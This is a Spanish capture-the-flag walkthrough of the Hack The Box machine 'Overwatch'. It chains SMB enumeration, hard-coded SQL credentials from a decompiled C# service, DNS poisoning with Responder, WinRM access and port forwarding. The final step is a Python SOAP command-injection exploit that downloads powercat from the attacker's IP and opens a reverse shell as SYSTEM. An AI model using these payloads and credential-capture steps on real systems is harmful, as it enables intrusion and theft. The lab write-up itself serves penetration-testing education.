Descripción

Overwatch es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de SMB permite acceder a una carpeta compartida pública conteniendo una aplicación de escritorio en C#
  • Ingeniería inversa de la aplicación C# para encontrar credenciales y un servicio expuesto
  • Explotación del servidor SQL vinculado al agregar una entrada DNS apuntando a la máquina del atacante para obtener las credenciales MSSQL mediante la aplicación responder
  • Credenciales reutilizadas permiten el acceso a la máquina mediante el protocolo WinRM
  • Redirección de puertos del puerto interno expuesto por la aplicación C#
  • Escalada de privilegios mediante inyección de comandos a la API SOAP expuesta por la aplicación C#

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.15.185.

$ ping -c 3 10.129.15.185
PING 10.129.15.185 (10.129.15.185) 56(84) bytes of data.
64 bytes from 10.129.15.185: icmp_seq=1 ttl=127 time=47.8 ms
64 bytes from 10.129.15.185: icmp_seq=2 ttl=127 time=47.5 ms
64 bytes from 10.129.15.185: icmp_seq=3 ttl=127 time=47.7 ms

--- 10.129.15.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.498/47.635/47.756/0.105 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.15.185 -sS -Pn -p- -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
6520/tcp  open  unknown
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
55619/tcp open  unknown
55620/tcp open  unknown
57713/tcp open  unknown
64846/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds

Obtenemos muchos puertos abiertos, quizás relacionados con un entorno Active Directory.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.129.15.185 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|_  Product_Version: 10.0.20348
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
6520/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-22T14:17:51
|_Not valid after:  2056-01-22T14:17:51
| ms-sql-info: 
|   10.129.15.185:6520: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
| ms-sql-ntlm-info: 
|   10.129.15.185:6520: 
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.03 seconds

Encontramos que esta máquina es el Controlador de Dominio del dominio overwatch.htb con nombre de host S200401. Encontramos un puerto inusual para el servicio SQL Server, 6520. Vamos a agregar el dominio al archivo /etc/hosts.

$ echo "10.129.15.185 overwatch.htb" | sudo tee -a /etc/hosts
$ echo "10.129.15.185 S200401.overwatch.htb" | sudo tee -a /etc/hosts

Enumeramos el servicio SMB para encontrar recursos compartidos disponibles públicamente.

$ netexec smb overwatch.htb -u 'Guest' -p '' --shares                                    
SMB         10.129.15.185    445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB         10.129.15.185    445    S200401          [+] overwatch.htb\Guest: 
SMB         10.129.15.185    445    S200401          [*] Enumerated shares
SMB         10.129.15.185    445    S200401          Share           Permissions     Remark
SMB         10.129.15.185    445    S200401          -----           -----------     ------
SMB         10.129.15.185    445    S200401          ADMIN$                          Remote Admin
SMB         10.129.15.185    445    S200401          C$                              Default share
SMB         10.129.15.185    445    S200401          IPC$            READ            Remote IPC
SMB         10.129.15.185    445    S200401          NETLOGON                        Logon server share 
SMB         10.129.15.185    445    S200401          software$       READ            
SMB         10.129.15.185    445    S200401          SYSVOL                          Logon server share

Encontramos un compartido público, software$, tenemos acceso de lectura, por lo tanto accedemos a él y descargamos todos los archivos de forma recursiva.

$ smbclient '//overwatch.htb/software$' -U 'Guest%'             
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Sat May 17 03:27:07 2025
  ..                                DHS        0  Thu Jan  1 07:46:47 2026
  Monitoring                         DH        0  Sat May 17 03:32:43 2025

                7147007 blocks of size 4096. 1782491 blocks available
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file
...
$ ls Monitoring     
EntityFramework.dll            Microsoft.Management.Infrastructure.dll  System.Data.SQLite.dll       System.Management.Automation.dll
EntityFramework.SqlServer.dll  overwatch.exe                            System.Data.SQLite.EF6.dll   System.Management.Automation.xml
EntityFramework.SqlServer.xml  overwatch.exe.config                     System.Data.SQLite.Linq.dll  x64
EntityFramework.xml            overwatch.pdb                            System.Data.SQLite.xml       x86

Encontramos que existe una aplicación en C#, vamos a realizar ingeniería inversa del binario overwatch.exe utilizando la aplicación dotPeek. Encontramos dos clases, Program y MonitoringService. El método Main en la clase Program inicia y abre un host de servicio WCF para MonitoringService, haciendo que el servicio esté disponible para los clientes. Luego crea un temporizador que corre cada 30 segundos y activa periódicamente el método CheckEdgeHistory. Finalmente, mantiene en ejecución la aplicación hasta que el usuario presione Enter, después de lo cual cierra correctamente el servicio.

private static void Main(string[] args)
  {
    ServiceHost serviceHost = new ServiceHost(typeof (MonitoringService), Array.Empty<Uri>());
    serviceHost.Open();
    Console.WriteLine("Service is running...");
    Timer timer = new Timer(30000.0);
    timer.Elapsed += new ElapsedEventHandler(Program.CheckEdgeHistory);
    timer.Start();
    Console.WriteLine("Press Enter to exit...");
    Console.ReadLine();
    serviceHost.Close();
  }

En el archivo overwatch.exe.config encontramos la dirección base para el servicio HTTP, http://overwatch.htb:8000/MonitorService. Como no vemos el puerto 8000 abierto, asumimos que el servicio solo está disponible localmente en la máquina.

...
<services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
...

Pasando a la clase MonitoringService encontramos las credenciales de la base de datos SQL Server en una cadena de conexión, con nombre de usuario sqlsvc y contraseña TI0LKcfHzZw1Vv.

...
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
...

Encontramos el método disponible KillProcess que recibe un parámetro llamado processName que ejecuta el comando PowerShell Stop-Process para cerrar un programa. Este método es vulnerable a Inyección de Comandos, al pasar por parámetro una cadena de comando y luego comentarla como ; comando-a-ejecutar;#. Tendremos Ejecución Remota de Comandos como el usuario que está ejecutando la aplicación si logramos acceder al servicio, pero no aún.

Explotación

Nos movemos a enumerar el SQL Server disponible en el servicio 6520.

$ impacket-mssqlclient 'sqlsvc:TI0LKcfHzZw1Vv'@overwatch.htb -p 6520 -windows-auth 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].

Encontramos que existe un servidor SQL vinculado disponible, SQL07, pero si intentamos usarlo recibimos un error que indica que la conexión ha caducado. El servidor puede no conocer dónde encontrar el servidor SQL07 si no tiene su entrada en la base de datos DNS. Por lo tanto, como tenemos un usuario autenticado, podemos intentar agregar una entrada en el servidor DNS del Active Directory para luego iniciar la aplicación responder y desplegar un servidor SQL para capturar las credenciales MSSQL al volver a intentar usar el servidor vinculado. Iniciamos el servicio responder.

$ sudo responder -I tun0
...
[+] Listening for events...

Agregamos la entrada DNS al Controlador de Dominio utilizando la herramienta bloodyAD.

$ bloodyAD -u sqlsvc -p TI0LKcfHzZw1Vv -d overwatch.tb --host overwatch.htb add dnsRecord SQL07 10.10.15.109
[+] SQL07 has been successfully added

Ahora regresamos a la consola de MSSQL, para usar nuevamente el servidor vinculado.

SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

Recibimos las credenciales de SQL Server para el usuario sqlmgmt con contraseña bIhBbzMMnB82yx.

[MSSQL] Cleartext Client   : 10.129.15.185
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Podemos iniciar una sesión remota a la máquina utilizando el protocolo WinRM y la aplicación evil-winrm-py.

$ evil-winrm-py -i overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
...
evil-winrm-py PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt

Post-Explotación

Empezamos enumerando los puertos TCP abiertos de la red, para comprobar si el anterior en el puerto 8000.

evil-winrm-py PS C:\Users\sqlmgmt\Documents> netstat -an | findstr TCP
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:6520           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING
...

Encontramos que el puerto está abierto en la máquina, por lo tanto vamos a redirigir el puerto a nuestra máquina. Vamos a utilizar la herramienta ligolo-ng para mapear los puertos locales del Controlador de Dominio a la dirección IP 240.0.0.1. Comenzamos iniciando el proxy en nuestra máquina, creando una nueva interfaz de red y añadiendo la nueva ruta.

$ sudo ligolo-proxy -selfcert
...
INFO[0001] Listening on 0.0.0.0:11601
ligolo-ng » interface_create
INFO[0006] Generating a random interface name...        
INFO[0006] Creating a new pleasantcroissa interface...    
INFO[0006] Interface created!
ligolo-ng » route_add --name pleasantcroissa --route 240.0.0.1/32
INFO[0028] Route created.

Luego subimos el binario del agente ligolo-ng a la máquina remota y lo iniciamos.

evil-winrm-py PS C:\Users\sqlmgmt\Documents> upload /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.2_windows_amd64.exe .
evil-winrm-py PS C:\Users\sqlmgmt\Documents> .\ligolo-ng_agent_0.8.2_windows_amd64.exe -ignore-cert -connect 10.10.15.109:11601

Entonces en nuestra sesión de proxy iniciamos el túnel a la máquina.

ligolo-ng » session
? Specify a session : 1 - OVERWATCH\sqlmgmt@S200401 - 10.129.15.185:52090 - 005056943649
[Agent : OVERWATCH\sqlmgmt@S200401] » tunnel_start --tun pleasantcroissa
INFO[0152] Starting tunnel to OVERWATCH\sqlmgmt@S200401 (005056943649)

Ahora podemos enumerar el servicio a través del enlace http://240.0.0.1:8000/MonitorService. Encontramos que la aplicación expone una API SOAP HTTP que tenemos disponible el archivo wsdl, por lo tanto verificamos si el método KillProcess está disponible.

$ curl 'http://240.0.0.1:8000/MonitorService?wsdl'
...
<wsdl:operation name="KillProcess">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
...

Tenemos la operación disponible, por lo tanto vamos a programar una aplicación en Python para subir y ejecutar el script powercat.ps1 para desplegar una shell inversa. Copiamos el script y luego iniciamos un servidor HTTP.

$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80

Utilizamos el siguiente script en Python para activar la vulnerabilidad:

import requests

url = "http://240.0.0.1:8000/MonitorService"

headers = {
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
}

soap_body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>notepad.exe; IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.15.109/powercat.ps1');powercat -c 10.10.15.109 -p 1234 -e powershell;#</processName>
    </KillProcess>
  </soap:Body>
</soap:Envelope>
"""

response = requests.post(url, data=soap_body, headers=headers)

print("Status:", response.status_code)
print(response.text)

Iniciamos un puerto TCP de escucha en el puerto 1234 y luego ejecutamos el script.

$ nc -nvlp 1234
$ python exploit.py

Recibimos la terminal inversa como el usuario SYSTEM.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.109] from (UNKNOWN) [10.129.15.185] 59116
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Software\Monitoring> whoami 
whoami
nt authority\system

Flags

En la terminal SYSTEM podemos recuperar las flags user.txt y root.txt.

PS C:\Software\Monitoring> type C:\Users\sqlmgmt\Desktop\user.txt
type C:\Users\sqlmgmt\Desktop\user.txt
<REDACTED>
PS C:\Software\Monitoring> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<REDACTED>